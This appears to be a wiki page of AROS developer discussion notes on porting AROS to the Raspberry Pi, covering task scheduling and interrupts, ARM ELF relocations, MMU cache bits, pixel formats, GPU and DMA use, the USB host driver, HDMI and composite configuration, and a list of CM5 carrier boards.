Poseidon.library creates its &quot;Poseidon Event Task&quot; during RTF_COLDSTART -&gt; then calls Wait(), and ends up in limbo because wait disables interrupts (used for the scheduler heartbeat), and basically waits forever because the sigbit is never set, since krnSwitch doesn't switch the task unless TF_SWITCH is set, and no codepath run during this seems to set it?? TF_SWITCH does not disable/enable switching. This flag just enables to run user-supplied hook when the task is being switched away. It is completely safe to call Wait() in Disable()d state. Doing this actually temporarily breaks this state. IDNestCnt gets remembered in struct Task, then next task is selected, and its IDNestCnt is restored in sysbase (see kernel_scheduler.c). If there are no other tasks, then your cpu_Dispatch() should enable interrupts on the CPU and enter idle mode. See x86 implementation for good example.

You miss what happens next...
 1. KrnSwitch() saves context of your task, saves IDNestCnt (core_Switch() and cpu_Switch()), then drops into cpu_Dispatch().
 2. cpu_Dispatch() calls core_Dispatch. Then two cases are possible:
 2a. There is a READY task. It is picked up, its IDNestCnt is restored in SysBase, then cpu_Dispatch() needs to restore registers and exit. The next task is run.
 2b. There are no READY tasks. core_Dispatch() returns NULL. In this case your cpu_Dispatch() should enter idle loop. It should just enable interrupts on the CPU and put it on halt. This allows it to process hardware interrupts. Eventually some of your interrupt handlers wakes up your task and puts it into READY list.

My heartbeat interrupt has been slowed atm to help debugging - but it never actually gets a chance to fire because of the Wait() disabling interrupts. Perhaps you have forgotten to enable interrupts in your idle loop.

There is a change in the format of AROS executables. Until now we were using Elf RELocable files which are usually used as intermediate object files. We had them for various reasons, one of them was how AROS files were built in the past. That days we had no real aros cross compiler and the option to embed relocation data in unix executables (or in executable files in general) was rather new and not every linux/unix system had it. Therefore we have decided to use intermediate files. Although it was somehow working (and it is still working :-)), it has some drawbacks. Therefore decided to introduce real Elf EXEC types, in first turn implemented on ARM target with option to expand in future to all other AROS architectures.

The first patch was pretty easy and appeared to work somehow. It generated nice executables with embedded relocation info. Not only that, it also removed all global symbols adjusting relocation data to be relative to the beginning of the sections. That move reduced number of symbols in each executable significantly (depending on the file between 20 and 80% of all symbols could be removed). The only symbols that stayed in the file are local ones - due to the nature of the patch wasn't able to remove them since we have not seen them in the symbol hash table.

The patch didn't worked though. The files were relocated, AROS kernel loaded, but it crashed very early. What happened? Well, the nature of ARM relocations happened :)

Most of the relocation data on all machines is rather simple. Relocation can be absolute or pc-relative, sometimes the offset has to be bit shifted. On ARM v7 there is another one. There, when one wants to load an address of function/variable into register a combination of two instructions can be used: movw and movt. The first one loads immediate into lower 16 bits of a register while clearing upper 16 bits. The second one loads immediate into upper 16 bits without touching lower halfword. Loading of a pointer into a register looks like this:

        movw r0, #:lower16:label

        movt   r0, #:upper16:label

In this case there are two relocations - one for lower halfword and another for upper. If an overflow of lower 16 bits occurs during relocation process, the upper one should be updated as well. Unfortunately with current patch and with typical ARM executables there is not enough information to perform the calculations.

There are two options - the first one would be to give up and go back to &quot;fake&quot; executables, another one would be to change from REL to RELA relocation info. The latter contains an addend, extra data which can be used to perform all the relocation calculations I need.

Decided for the second option. The patch is already in the works. There is another function for the binutils' bfd backend to perform the final relocation. There can decide what to do with every reloc info, modify data and eventually strip some symbols. An advantage is - at this stage of the linking process have also full access to all local symbols so can change all relocations section relative and eventually strip all symbols from the files. 


 GPU 

VCore developed by Alphamosaic Ltd and now owned by Broadcom. Most of start.elf runs on the GPU.   Placing ALL the userland GPU code in the videocore.hidd isn't going to be a terribly big problem because the code they published is nothing more than a shim that sends data straight to the GPU to execute.

The good news about this is that we only need to write our HIDD using the OpenVG API.   The shim is relatively small codewise and lives in the ARM memory (the actual OpenVG code itself lives in the GPU RAM area and its loaded from start.elf).   That's also the bad news.  Our driver has to translate AROS video calls to OpenVG calls, for most tasks it should be easy, for some, not so much.  It's still probably less difficult and less work, than controlling the GPU directly.

The other good news is that anything done through OpenVG happens on the GPU, its truly accelerated.   It also has some nice font functions, meaning we can lead into an accelerated text mode later.

Basically, AROS resets or locks up when it tries to use AROS_ATOMIC_INC or DEC.  If I comment out the byte/word operations in the header files and use non-atomic operations, the code works as expected.
 
have read that the L1 cache needs to be enabled to use LDREX and co (which I also read is only meant to be used on multi processor systems with shared memory) - however I am certain this is correctly enabled.

If you are using LREX or STREX, you should have L1 cache enabled, at least on the ARM CPU I work with at work.

L1 cache is enabled by enabling the MMU *AND* setting the C and I bits in the CPU - the C bit is ignored, and the I bit only covers the 16 byte instruction pipeline if the MMU is not enabled.

Can you verify that your assembly is generating LDREX/STREX? From the behavior, it almost sounds like its generating the default Semaphore locked atomics.
 Impossible. There are no semaphore-locked atomics. There are Disable()/Enable()-based ones instead. And there's a special #define AROS_NO_ATOMIC_OPERATIONS in this case, which tweaks Disable()/Enable() implementations not to recurse forever.
 I have tested this on ARMv5 which does not have ldrex/strex, it works fine. On those ARMs there's no way to have real atomics. On other OSes (like Linux) this is done by introducing things like atomic_t, which appears to be a complex structure, holding the value together with accompanying spinlock (implemented using swp).

    #warning &quot;TODO: lookup optimal mmu table settings for raspi memory&quot;
        /* Set up an identity-mapping for all 4GB */
        for(x = 0; x &lt; 4096; x ++)
        {
            pagetable[x] = x&lt;&lt;20 | (0x40002|0x80000|0x010000|0x00C00|0x04);
        }

Shouldn't there be a second loop that sets the 'C' bit in the descriptor for the RAM pages?

Currently, you have TEX=0, C=0, B=1 for all pages (Shared Device).

You should have TEX=0, C=1, B=0 for RAM (Write-Through, Cached)

    So ..
     
     pagetable[x] = x&lt;&lt;20 | 2;

     
    should be enough?

No, for RAM you need to change the '| 0x40' to '| 0x80'

tell dosboot the correct defaults to use

Please don't do this. This bootconfig.c is a deprecated legacy thing. I wanted it to go away completely with time. Instead,  display  drivers  should auto-install themselves during own initialization phase. I. e. detect hardware=&gt;instantiate itself. This   should   make  things way simpler. With this approach you only need  to add the driver into KS image to get the device autobooted. No hardcoded stuff. 
Currently  VESA  and  VGA drivers do this, look there for examples. never rewrote ATI driver because i don't have any test system for it.

they defined a smaller AROSCPUContext than the ExceptionContext - yet reference it as ExceptionContext in other places, and since it hasn't allocated enough storage for ExceptionContext, are corrupting memory/the structure (since the elements that are there don't map 1 to 1 with the exception context).

AFAIK, AROS has been moving in a different direction to this in recent years. It is the job of graphics HIDDs to allocate bitmaps etc. so that they have the most suitable characteristics, including allocating them from GPU RAM where possible. The concept of chip RAM is only for legacy code, and most if not all non-68k platforms should have all system RAM
marked as chip.

BTW, is the video processing code you mention CPU code or GPU code?

Also, IIRC we have support for &quot;external memory allocators&quot;. Perhaps that's what we need for the allocation of GPU RAM through the mailbox.

All hosted and x86 native ports should use proper context formats.

trying to clarify if the vblank handler has to have run by this point to prevent this deadlock. Actually, no. Unless you have installed VBlank handler which should wake up at some point. Without VBlank there will be no quantum count. Consequently, there will be no forced preemption. But the rest will work, and multitasking will be cooperative (switch happens only when current task voluntarily gives up the CPU). Does it depend on the vblank having run before this point? and if yes what does that mean on systems where it might be able to run enough code (e.g. get to this point) before the vblank interrupt has triggered? What is it waiting for? It could wait for timer, in this case you need timer.device working. VBlank is currently needed for exec's quantum counter. In current native ports we have only a single timer, which is served by timer.device. VBlank is simulated by timer.device also. If your machine has two timers, then you can use one of them for VBlank, and another for timer.device, this will simplify things down. VBlank needs to be 50 Hz for historical reasons, many programs use it as cheap timer. I am periodically thinking about making some abstract mechanism to be able to change quantum source (and untie it from 50 Hz), but have no time to come up with something good. Additionally i started disliking timer.device hardcoded design when PC has got many timers (old 8253, APIC, HPET).
Currently i think there should be some low-level entity representing tick source. timer.device should just select the most appropriate source for its units.
The BCM2835 has 4 GPU based timer sources - 2 are used by the GPU, so im using Timer3 for our heartbeat and the remaining one will be free to the system. There is also the less capable ARM timer but that is dependent on the CPU frequency. Very good. You won't need any emulation. Set the heartbeat to 50 Hz and drive VBlank from it. Use other timer for MicroHZ.

Can you use the 'econsole.hook' I make for debugging the Sam460 via the serial port?
It provides a before-anything-else shell prompt on the serial port.  You can then do 'NewCLI' to test your graphics, or use any DOS command in shellcommands.resource.

You should just be able to add econsole.hook to your module list, and use 'econsole' in your bootargs.

So long as you have a working Exec/RawMayGetChar and Exec/RawPutChar, it should work.

Also make sure to add shell.resource and shellcommands.resource for this.

That should have done it.

If you set &quot;#define DEBUG 1&quot; in  arch/all-native/econsole/econsole.c, do you get any additional serial output?

have added it to the build and added econsole to the command line - and can see the bootloader picks up on the emergency bootconsole tag, but I still only get the insert bootable media display?

Im assuming it exposes a fake filesystem that tricks aros into booting?
The contents of which are: ECON:AROS.boot

Way to handle the scheduling code? The implementations I had been following were causing problems, due to cascading interrupts which I cant handle properly in the asm stubs just now (when they break disable etc.) - since it means detecting the interrupted codes cpu mode and getting the correct sp/lr for it, and that's just too tedious for arm.
 
To work around this ive added a system idle task which does nothing - and when the scheduling code has no task to run switches this in and lets it run, thereby allowing the interrupts etc to resume until something does need to happen.
 
Also, by adding accounting code to cpu_Switch() and cpu_Dispatch(), it should allow the system to log idle time correctly (as well as running tasks).
 
have thought of also adding an additional task that never runs, solely to record time spent in IRQ handlers, but I digress..

was under the impression that kernel.resource should *never* be used outside of exec.library. This is a wrong impression.
Michal started designing it because portable nature of AROS does not fit well into exec's API with all its assumptions. So, he started the new, hardware-agnostic kernel API from scratch. Yes, exec sits on top of it in places. But kernel always meant to be open thing. Otherwise it would not exist. 
it wasn't meant to be just used willy nilly by user code - but by lower system components (e.g. exec) so that they could be implemented in a more generic fashion, and the kernel resource itself hide the systems quirks.

Adding new things there perfectly keeps up with our decision to minimize AROS-specific intervention into APIs which can clash with MorphOS or Amiga OS4 extensions. We want at least source-level compatibility there. Binary compatibility on PPC would be extremely cool, but at the other hand we have no maintainer for this, as well as their ABIs splintering. 
It depends on what exactly is being implemented - there's no reason we should have everything crammed into kernel.resource if it doesn't need to be (i.e. if its better suited as a separate component/subsystem in its own right)

The _LE versions are for when you have endian swapping taking place.  If the graphics are the same endian as the CPU, no swapping should occur.  I ran into a similar terminology problem in SDL with a friend insisting that his Radeon 7000 on his PC was big-endian.  It is not, it just uses the same endianness for the graphics card and the CPU so no swapping was necessary.  They were both little-endian.
The _LE versions are because the PixFmts refer to the bitmap data being in big endian format in memory, for which the normal version would need to do endianness conversion before applying the shifts/masks. on this platform it is in _LE in memory also so we don't need the conversion hence using the _LE version of the call). would use _LE (if it's really little endian 16 bit mode).

 
What is the bare minimum needed to implement a framebuffer based gfx driver, with our software handling the rest?

Have tried with just a gfx class that only expose new/dispose/newbitmap - and having an onscreenbitmap used only for the framebuffer itself (with all other bitmaps being chunkybm, and the framebuffer's superclass also being chunkybm), but that alone isn't enough it seems?
You can use workbench/hidds/sm502/ as your example - it is as simple as I could make it.
So, AROS creates the framebuffer bitmap (verified this) -&gt; so surely it should be capable of then rendeing into it? I don't actually create the framebuffer &quot;bitmap object&quot; myself - only as a result of being asked to. The code I currently have on SVN seems to create the framebuffers bitmap object fine, but then crashes in intuitions DisplayDriver callback.  In particular it crashes performing the getattr on the system default pointer. don't expose MEMF_CHIP in an allocatable form so AllocSpriteData was failing (and other code later doesn't check if the values are valid == illegal memory accesses) 

So far have -:

vc_init: queries the gpus memory, and sets up a fake memory handler for it, then adds the bootmode driver and returns saying all is well
vc_gfxhidd:New: sets up some fake syncmodes to test with and creates the real gfx object.
vc_gfxhidd:NewBitmap: checks if its a framebuffer and uses the onbitmap class or uses the chunkybm class otherwise
vc_onbitmap:New; creates a chunkybm object and then pushes the real framebuffer address into it as the buffer,

vc4 had v8adds, v8subs, v8muld, v8min and v8max which operated on four 8bit uint values packed into a 32bit register. Multiplication was in the range 0.0 to 1.0 and addition/subtraction saturated. There were also a range unpacking/packing modes that allowed you to pack and unpack 8bit values into 32bit registers. 

RasPi has to speak to the &quot;operating system&quot; which runs on the GPU itself and request/free memory - it cant directly manage it itself, and so the managed functions were used to wrap these calls.

The Arm and GPU share memory space. The framebuffer is shared. The Arm can write a pixel and it will appear on the screen (through GPU hardware) without flushing/copying being required.

The GPU can composite multiple FB's in real time - so you have a number of surfaces defined which are rotated etc and  composited in real time to the output. Copying can map from the address space of the Arm to the flat space of the GPU which takes some code, but I don't think whole buffers are copied.

The DMA hardware can also access the whole memory space and can perform 2D fills and blits (no blending). This is documented in the peripheral spec posted. The DMA is just an Arm accessible peripheral and can be set up with low latency (e.g. microseconds).
must use a 0xc0000000-based bus address to access SDRAM, yet non-DMA access should go via a 0x0-based bus address. 
For 2D dma, set TDMODE, and the spec says &quot;interpret the TXFR_LEN register as YLENGTH number of transfers each of XLENGTH, and add the strides to the address after each transfer.&quot; so set STRIDE to pitch of the image, the width is XLENGTH and height is YLENGTH. You would fill by not setting the SRC_INC and point source to your fill data.

The DMA cannot see the ARM's L1 cache, so you would map the framebuffer with ioremap_nocache. Depending on where the source data comes from, it may need an L1 cache flush. The DMA can see the L2 cache. Use 0xC0000000 bus addresses when L2 is disabled and 0x40000000 bus addresses when L2 is enabled. (actually just call virt_to_bus and you'll get the right address out).

openGLES/openVG has high latency. Writing to framebuffer then reading it back is very inefficient (e.g. milliseconds). If you can drive it a unidirectional way, just streaming commands at then that is efficient. openVG is not implemented on top of openGLES - it uses the same hardware but as a first class interface

To improve the Gfx driver, we will need a DMA resource implemented so can use to perform DMA operations. The Gfx driver will need this to perform blits.


Actually MEMF_CHIP has to present, for historical reasons.
This has been never fully agreed upon, but in ports i wrote i exposed the whole memory as MEMF_CHIP. The idea behind this is that CHIP is originally the memory where graphics and sound data can be put. On non-Amiga platforms there are no restrictions on this, so the whole memory is CHIP.
Yes, many old software can misbehave with CHIP memory size larger than 2MB. But this actually applies only to m68k AROS which is going to run m68k binaries. In other cases it's quite logical to fix the program when porting.

As to original question: yes, it's enough to have a framebuffer bitmap (one with aoHidd_BitMap_FrameBuffer set to TRUE) and PutPixel routine. It framebuffer can be served by chunky bitmap class, then you can simply create chunky bitmap with your own buffer (see how VESA driver does this). Chunky PutPixel is already there.

struggling to determine what is the correct pixfmt to use for the 24/16/15 bit gfx modes on the RasPi.  AFAIK it uses RGB565, for 16bit but im unsure what shifts etc should go with it? suffice to say Im getting the wrong colors so far lol.

&lt;pre&gt;
redmask: 0x0000F800
greenmask: 0x000007E0
bluemask: 0x0000001F
alphamask: 0

redshift: 16
greenshift: 21
blueshift: 27
alphashift: 0
&lt;/pre&gt;

It should likely be vHidd_StdPixFmt_RGB16_LE

This stuff is a bit confusing.  The &quot;names&quot; of the stdpixfmts are based on the layout in memory,
ignoring endianess. So for example:

ARGB32: will be 0xAA 0xRR 0xGG 0xBB in memory on both big endian and little endian machines.

The shifts and masks OTOH are based on pixel access (ULONG in this case), so differ depending
on whether you run on big endian machine or little endian machine (that's why there's stdpixfmt_le.h and
stdpixfmt_be.h in rom/hidds/graphics/).

With the 16 bit pixel format it's even more confusing, as for example it's impossible on little endian machine
to describe RGB16 with shifts/masks alone. That's why there's vHidd_PixFmt_SwapPixelBytes_Flag.
(RGB16 == RRRRRGGG GGGBBBBB in memory, and for pixel (WORD) access on little endian machine it needs to
be accessed as GGGBBBBBRRRRRGGGG).

The shifts btw indicate how much to shift the component to the left (!) so that it is moved to the highest bit (31).

The aHidd_PixFmt_StdPixFmt you specify will be ignored most of the time, because when the pixelfmt is registered,
the gfx hidd checks if there's an identical pixfmt (shifts/masks/etc., but ignoring pixfmt-&gt;stdpixfmt) already in the system,
and if so, it uses the already existing one and does not create a new one.

In theory it would be better if gfx drivers could simply/only specify a StdPixFmt without all the shifts/masks stuff when the
gfx driver uses pixfmt which matches one of the stdpixfmts exactly. Another possibility would be for gfx drivers to use
HIDD_Gfx_GetPIxFmt(stdpixfmt_gfx_driver_wants_to_use) and then peek shifts/masks from it and fill out a pixfmt
tag list based on that.
15bit very blue/green: Try to pass same shifts/masks/etc. as in 16 bit pixfmt (maybe you think it's using 15 bit R5G5B5
(or swapped) but it's actually still using 16 bit R5G6B5 (or swapped).
 aHidd_PixFmt_StdPixFmt you pass is mostly ignored. It's the shift/masks/etc. that count.
But I would still pass the correct one (_LE) == whatever rom/hidds/graphics/stdpixfmts_??.h uses
in the entry where you have looked up shifts/masks/etc.

Use the shifts/masks/etc. from the entry in stdpixfmt_le.h (if you are running on little endian machine) or stdpixfmt_be.h (if you
are running on little endian machine) that matches the pixfmt that its meant to be.

0xAA,0xRR,0xGG,0xBB on little endian (-&gt;entry in stdpixfmt_le.h which says vHidd_StdPixFmt_ARGB32)
0xBB,0xGG,0xRR,0xAA on little endian (-&gt;entry in stdpixfmt_le.h which says vHidd_StdPixFmt_BGRA32)

0xAA,0xRR,0xGG,0xBB on big endian (-&gt;entry in stdpixfmt_be.h which says vHidd_StdPixFmt_ARGB32)
0xBB,0xGG,0xRR,0xAA on big endian (-&gt;entry in stdpixfmt_be.h which says vHidd_StdPixFmt_BGRA32)

it feels like AROS trashes the alpha component, otherwise it should be 8A8R8G8B.

read on the subject suggest its in 1x5r5g5b (x is ignored) to keep 16bit alignment .
 
Suggests to me that wrong shift/mask are being applied - however going by the 16bit versions it all looks correct to me so I am really confused as to what is happening.

The output image looks to have too much green/blue, and very weak red.


 Kickstart 

The  idea  is  to minimize amount of archirecture-specific modules to make the user's  life  easier.  So,  the kickstart was split into 'base' (which  does  not  contain anything machine-specific) and 'BSP' (Board Support Package) which contains all hardware-specific stuff. This  way,  for  example, distribution makers can save up space on CD and  make  CDs with multiple platform support. Different configuration would load the same base with different BSP's.

Next  there  was some part which is entirely missing on hosted. These are   filesystems.  Hosted  ports  do  not need them to boot up, so on hosted   they  are  left  out.  At  the  other  hand,  they  are  also architecture-agnostic.  So  i put them into 'FS' package (standing for 'filesystem').


 USB 

Poseidon  is  one  more  big part. I made it into separate package in order to allow users to omit it if they don't need it (for example, to run  on retro PCs without USB). Personally i have one. Again, Poseidon is  hardware-agnostic (well, there are USB drivers but HCIs are pretty standard).

AFAIK its HCI 1.0 compliant but not familiar enough with poseidons drivers, nor USB, to just hack away at the existing code.  Perhaps once i'm more familiar with the workings I can merge in the changes needed to get it operating but for now I will focus on getting it running.  Also our drivers have known issues so perhaps a fresh set of eyes might shed some light on what is going wrong.

Another interesting question is whether Poseidon can operate on device side. Is it flexible enough? How similar is being a USB host and USB device? think it will need a bit of work on Poseidon's side.  Until then I will force the driver into Host/Master mode in the init code, but leave open device etc to configure the chipset for either's use - and look at trying to add support for working in Device/Slave mode &amp; switching modes once it's up and running.

Actually USBROMStartup is some kind of kludge. Can there be any alternative? Could device drivers be self-installing, like our HIDDs? This would get rid of need to list them in USBRomStartup.

* Model A and B limited to 150 mA per port. 
* Model B+ and Pi 2 introduced configurable 600 mA to 1.2 A support over all ports - anything above that requires a powered USB hub.

Implementing the hardware driver that Poseidon uses to interact with the USB components.

Have code in place to (try) and initialise the USB chipset, and configure host/device mode operation (though AFAICT Poseidon doesn't support device mode). Started to get the &quot;virtual&quot; root hub written for the single USB port so that Poseidon should at least list it correctly in the GUI - and try to interact with it to find peripherals.


The BCM2835 uses a soft IP block from Synopsys’ DesignWare library (DWC), specifically the block is called dwc_usb_2_0_hs_otg_subsystem-ahb_se (“USB 2.0 Hi-Speed OTG Controller Subsystem w/AHB Interface SE”).

There is no public documentation for this, and pretty much zero chance of anyone getting hold of it even with NDA. However, there's a Linux driver written by Synopsys ([https://github.com/raspberrypi/linux dwc_usb]). Specifically directories [https://github.com/raspberrypi/linux/tree/rpi-patches/drivers/usb/host dwc_common_port] and [https://github.com/raspberrypi/linux/tree/rpi-patches/drivers/usb/host dwc_otg].

The Synopsys code is actually under a fairly permissive licence – it's not GPL, it's similar to BSD (’don't sue us if it breaks’ is pretty much the only clause). So this should not be a barrier to porting the code.

The code is really well written, with a nice partition between the work done by the driver (dwc_otg, which is fairly involved, given the host does more work than a conventional EHCI driver), and the interface to Linux (dwc_common_port).

Probably only need provision of relevant changes to dwc_common_port. Other things to consider....

* Provision of necessary headers to get it to compile
* Provision of necessary functions (main issues are wait queues, threads, work queues, tasklets, timers, spinlocks and mutexes (multithreading) )
* Interfacing between USB stack and the driver. dwc_otg/dwc_otg_hcd_linux.c looks like the place to start.

the Linux bits of the headers are only required for the dwc_common_port library. dwc_common_port includes a variety of crypto functions which are not used – it appears to also be used for ultrawideband (UWB) and wireless USB (WUSB) drivers where crypto will be an issue, but it isn't going to be for plain wired USB.

Every USB driver acts as an USB hub as well in order to let Poseidon control the state of USB ports. The code there was reading status of the only USB port in Raspberry's CPU but when changing the status it erroneously deleted some of the status bits, including the port enable one. It was so because those bits in the status register are of a type Read/WriteToClear. It means, if one does not want to change their value from 1 back to 0, one has to actually write the 0 value. Very practical thing e.g. in interrupt handlers, where one reads the interrupt status register to learn what was the interrupt reason, and writes it back to the same register in order to clear the interrupts. 

After fixing that code it turned out that the communication was still unsuccessful. Apparently the USB device was not understanding the host for some reason. That should not happen since the request sent was one of the standard ones implemented by virtually anything with an USB connector, assumed that Poseidon clears the data caches before forwarding the work to the USB drivers but that's the responsibility of the driver itself. 

The USB device responded and acknowledged the transmission! But why were all the request sent after address change failing with timeout? They should not. Once again, address set is supported just by anything. Tried to contact the device at address 0 once again and there it was, still responding properly. The enlightenment came. The bus address for DMA transmissions was, as it is in many bare metal USB implementations, just the pure memory address of the buffer as seen by the ARM cpu. Have &quot;prefixed&quot; it with the real location of uncached RAM and booted AROS once again. 


Trident saw this:

    Product     : Hub: Vdr=0424/PID=9514
    Manufacturer: Standard Microsystems Corp.
    SerialNumber: n/a
    /Users/michal/git/AROS/rom/USB/poseidon/./poseidon.library.c:psd_20_psdEnumerateDevice/3092: USBVersion: 0200
    Class     : 9
    SubClass  : 0
    DevProto  : 2
    VendorID  : 1060
    ProductID : 38164
    DevVers   : 0200

and this:

    Product     : Vendor: Vdr=0424/PID=EC00
    Manufacturer: Standard Microsystems Corp.
    SerialNumber: n/a
    /Users/michal/git/AROS/rom/USB/poseidon/./poseidon.library.c:psd_20_psdEnumerateDevice/3092: USBVersion: 0200
    Class     : 255
    SubClass  : 0
    DevProto  : 1
    VendorID  : 1060
    ProductID : 60416
    DevVers   : 0200

and even this:

    Product     : Hub: Vdr=0424/PID=9514
    Manufacturer: Standard Microsystems Corp.
    SerialNumber: n/a
    /Users/michal/git/AROS/rom/USB/poseidon/./poseidon.library.c:psd_20_psdEnumerateDevice/3092: USBVersion: 0200
    Class     : 9
    SubClass  : 0
    DevProto  : 2
    VendorID  : 1060
    ProductID : 38164
    DevVers   : 0200

What are these things? The first one is USB hub built in the Raspberry. Thanks to this one the Pi machines (with exception of Pi0 and computing modules) have more than just one single USB port. The second one is the network chip in raspberry, the third one is my USB SD card reader which have just connected to see what happens. AROS tried, of course, to boot from it ;)

So, the first step towards working USB is done. The control transfers are working as you can see above. Next step is to implement bulk and interrupt transfers, having the basics in place. Finally some error handling will be added and USB for Pi will be as complete as the PC version. 

[http://www.raspyfi.com/raspberry-pi-usb-audio-fix/ Issue with USB Audio]


 Audio 

[https://github.com/raspberrypi/linux/tree/rpi-patches/sound/arm audio] and its [https://github.com/raspberrypi/firmware/issues/2 very high speed message passing interface type of thing VCHI]

The Model B+ added an additional voltage regulator for the audio output and an additional output driver to drive low-resistance loads like headphones. However it is still using pulse-width modulation (PWM), which has a major impact on sound quality

the old Raspberry Pi used a linear voltage regulator to provide the 3.3V to many of the components on the board while the new one uses a switching regulator. Both can perform reasonably well. However switch mode power supplies often show higher noise figures

Analogue audio

Audio over HDMI rev 1.3 &amp; 1.4


 Ethernet 

10/100 BaseT Ethernet RJ45 socket


 GPIO 

GPIO shouldn't be too bad but bear in mind it is already accessed in places so they would need to allocate pins etc through it (e.g. sdcard to flicker the activity light, serial debug to output data on the GPIO pins)

Probably a resource rather than a device...

Started an i2c driver that will need to allocate GPIO pins. Feel free to work on it if you are interested ;p


 GPU graphics with 2D and 3D acceleration 

Sadly none yet for 32bit but for 64bit... 


 Miscellanous

hdmi issues

Setting the hdmi_force_hotplug=1 makes sure the Pi believes the monitor/TV is really there.

You might also need to set config_hdmi_boost=4 or even higher (up to 9) if your display needs a stronger signal.

If the display is a computer monitor or newer tv, use hdmi_group=1 (auto HDMI use) and if it is an older TV, try hdmi_group=2 (for DMT formats, i.e. for PC monitors) then you HAVE to &quot;set hdmi_drive = 2 to enable HDMI output as this forces HDMI mode rather than DVI mode

Do not set hdmi_safe=1 as that overrides many of the previous options.

Using a shorter or better quality HDMI cable might help. Make sure your Pi's power supply delivers 1 A and not 500 mA.
If you see a problem with the red colour - either absent, or interference - then try a boost

composite video

changing the RCA cable, then the composite port worked out of the box

Boot it as you are doing, without HDMI. If you now plug in the HDMI, do you get the image? In other words, does the Pi think HDMI is connected even when it isn't?

Rename all the files in the first partion of the card except bootcode.bin, start.elf and fixup.dat  What's the result?

Put back config.txt What's the result?

for PAL mode   sdtv_mode=2

dmi_ignore_hotplug Pretends HDMI hotplug signal is not asserted so it appears a HDMI display is not attached
hdmi_ignore_hotplug=1 Use composite mode even if HDMI monitor is detected

&lt;pre&gt;
# NOOBS Auto-generated Settings:
#hdmi_force_hotplug=1
#config_hdmi_boost=4
#overscan_left=24
#overscan_right=24
#overscan_top=16
#overscan_bottom=16
#disable_overscan=0
start_x=1
gpu_mem=128
&lt;/pre&gt;

tvservice -c &quot;PAL 4:3&quot;

&lt;pre&gt;
/opt/vc/bin/tvservice -s   or tvservice -s 
state: HPD high|HDMI mode|HDCP off|composite off (0x12001a), 1920x1080 @ 60 Hz, progressive

/opt/vc/bin/tvservice -m CEA
Group CEA has 1 modes:
(native) mode 16: 1920x1080 @ 60 Hz, progressive

/opt/vc/bin/tvservice -m DMT
Group DMT has 0 modes:
&lt;/pre&gt;

sudo amixer cset numid=3 1

forces the audio to the headphone jack, even with the HDMI video output plugged in

config.txt

the hdmi_ignore_edid_audio=1 option sems relevant as it should tell ALSA that the only available audio is analog, no matter what the display says

There are several different ways that these 4 pole (ring) composite analog cables can be wired up, so some work great in some applications and can be a waste of time in others.

What is needed for the Raspberry Pi B+ and above, which like many camcorders needs the ring contact next to the base contact to be the ground.


The wiring for the 4 pole are:

TIP (LEFT AUDIO CHANNEL)

RING 1 (RIGHT AUDIO CHANNEL)

RING 2 (GROUND/EARTH)

RING 3 BASE/SLEEVE (VIDEO) YELLOW

Most Apple based Players and the Microsoft Zune (TM) are wired this way.

Most analogue camcorders are wired this way as well, where the ground in on Ring 2 will work with the Pi although you may need to swap your Video plug with the Right Audio plug.

Nearly all other MP3 players are not wired this way, the ground is on another ring ie the wrong one.


External devices

* Camera Module Omnivision ov5647 Sunny 5MP (NoIR version) V1.3 - NoIR at 850&amp;nbsp;nm, peak at 880&amp;nbsp;nm and trails off at 940&amp;nbsp;nm wavelengths 
* Camera V2 Sony IMX219 V2.1 8mpixel 8MP 8megapixel - 3280 x 2464 pixels - video at 1080p30, 720p60 and 640x480p90 - wider field of view, 62 vs 54 degrees horizontally - 
* Branded WIFI usb BCM43143 dongle

N.B.  dreaded error after changing cameras (stupidly without turning off the power first) and lasted through several power cycles.  It can be a bad 15-pin FFC ribbon cable, when swapped, camera(s) and the Pi itself are working OK. It can be an instance of a cold solder joint on the CSI connector on the pi board.  the camera can be detected (that's done via I2C) but may still not be able to receive image data (done via CSI-2) if something is broken. CSI-2 is uni-directional. Control is generally done via I2C. 
The CSI-2 receiver always writes to memory, not direct to the ISP. That's the way the Broadcom architecture works as it allows multipass processing easily. GPU memory is accessible from the ARM. Processing using the QPU graphics processors may be possible.  currently the only supported sensor is OV5647 and IMX219.  The linux drivers are all in the firmware blob, else you'd  be looking at at least a man-month of work in a fully fledged imaging lab to do a decent tuning of the camera modules' ISP parameters. 
Static electricity maybe an issue for the camera module and slightly less for the pi board.


== References ==

Testing procedure is put sd card in, connect board to board if necessary, plug in hdmi and then power nothing else is done especially CSI DSI etc 

[https://www.raspberrypi.com/documentation/computers/compute-module.html CM5] has the same 55mm x 40mm 2x100pin connectors form factor as the CM4 but [https://www.epdtonthenet.net/article/214508/Key-Considerations-When-Migrating-from-Raspberry-Pi-CM4-to-CM5.aspx some pins and other small things] have changed. Will need the [https://raspipcb.com/tech-blog/raspberry-pi-cm4-vs-cm5-difference-in-booting-from-sd-card/ right IO board to suit] 

*Green [ Raspberry Pi Compute Module 5 IO Board REV2 [https://pip.raspberrypi.com/categories/1097-raspberry-pi-compute-module-5-io-board SC1967]] - untested 
*Green [ RPi Compute Module 5 IO board REV1 [https://pip.raspberrypi.com/categories/1097-raspberry-pi-compute-module-5-io-board SC1751]] - untested 
*Black SupTronics Geekbord X1500 CM5 IO Carrier Board - untested
*Black DeskPi Super6C Cluster Mini-ITX Board - untested 
*[https://sipeed.com/nanocluster Sipeed NanoCluster] - untested up to 7 CM5 
*Green BentoIO CMX0 - untested 
*Box EDATec ED-CLAWBOX - untested 
*Home Assistant Yellow - Kit with PoE with Raspberry Pi Compute Module 5 - untested 
*Blue [https://www.waveshare.com/wiki/CM5_PoE_BASE_A Waveshare CM5-PoE-BASE-A] - untested 
*Box  Waveshare [ CM5-POE-BOX-A] - untested 
*Blue [https://www.waveshare.com/wiki/CM5-IO-BASE-B Waveshare CM5-IO-BASE-B] - untested 
*Blue [https://www.waveshare.com/wiki/CM5-IO-BASE-A Waveshare CM5-IO-BASE-A] - untested 
*Blue Waveshare [https://www.waveshare.com/wiki/CM5-NANO-B CM5-NANO-B] - untested 


*[https://carboncomputers.us/products/pi-flux piFlux]
*[https://carboncomputers.us/products/ Zitaotech Hackberry] CM5 lite only - 
*Portable [https://www.waveshare.com/pocketterm35.htm Waveshare PocketTerm35] with Pi4B or Pi5 - untested 
*Box [https://www.clockworkpi.com/uconsole ClockworkPi uConsole][https://www.youtube.com/watch?v=EtI_bAahbR8 CM4 into an adapter or CM3 into so-dimm - Cyberdeck] - untested 


